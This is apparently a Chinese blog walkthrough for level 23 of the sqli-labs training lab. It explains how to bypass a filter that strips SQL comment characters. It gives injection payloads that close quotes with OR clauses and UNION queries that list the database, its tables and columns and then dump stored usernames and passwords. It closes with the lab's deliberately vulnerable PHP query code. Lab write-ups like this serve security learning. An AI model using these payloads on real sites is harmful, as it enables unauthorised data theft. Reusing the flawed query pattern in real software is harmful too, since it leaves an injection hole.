sqli-labs 通关指南:Less 23

Less 23 的注入流程和 Less 1 ~ 4 一致,但是 Less 23 对注释符进行了过滤。我们得考虑用其他方式闭合引号,而不是忽略后续的代码。


GET-Error based-strip comments (基于错误的过滤注释符的 GET 型注入)

判断注入类型

注入正常的 id,网页回显 id 对应的 username 和 password。

?id=1


注入一个单引号闭合,根据回显的报错信息这里就是用单引号闭合的字符型注入。

?id=1'


构造恒真语句测试,发现网页回显的还是报错,根据错误信息发现 “--+” 被过滤了。

?id=1' OR 1 = 1--+


尝试使用 “#” 进行注释,发现也被过滤了。

?id=1' OR 1 = 1#


过滤了注释符并不能影响我们的注入,可以使用两个单引号分别闭合两侧的 Sql 查询语句,同时需要使用 OR 运算符分割成 3 个子句。

?id=1' OR 1 = 1 OR '

获取数据库信息

分别闭合前后的单引号可以绕过对注释符的过滤,Sql 注入的流程和 Less 1 一致。判断哪些列是我们能用的,令 id 参数的查询不到结果,使用 UNION 进行组合查询。网页回显了数字 2 和 3,说明第 2 列和第 3 列是我们可用的。

?id=99' UNION SELECT 1,2,3 '


爆数据库名。

?id=99' UNION SELECT 1,database(),3 '


爆表名。

?id=99' UNION SELECT 1,group_concat(table_name),3 FROM information_schema.tables WHERE table_schema='security' '


爆 users 表的字段。

?id=99' union select 1,group_concat(column_name),3 FROM information_schema.columns WHERE table_schema='security' and table_name='users' '

获取目标信息

构造出 payload 如下,注意这里不能直接用单引号闭合,可以使用 WHERE 构造个恒真条件闭合。

?id=99' UNION SELECT 1,group_concat(concat_ws(':',username,password)),3 FROM users WHERE '1' = '1

Sql 查询语句

可以明显看出,源码使用了正则表达式过滤了所有注释符。

$id=$_GET['id'];

//filter the comments out so as to comments should not work
$reg = "/#/";
$reg1 = "/--/";
$replace = "";
$id = preg_replace($reg, $replace, $id);
$id = preg_replace($reg1, $replace, $id);

$sql = "SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result = mysql_query($sql);
$row = mysql_fetch_array($result);
posted @ 2020-10-22 01:15  乌漆WhiteMoon  阅读(504)  评论(0编辑  收藏  举报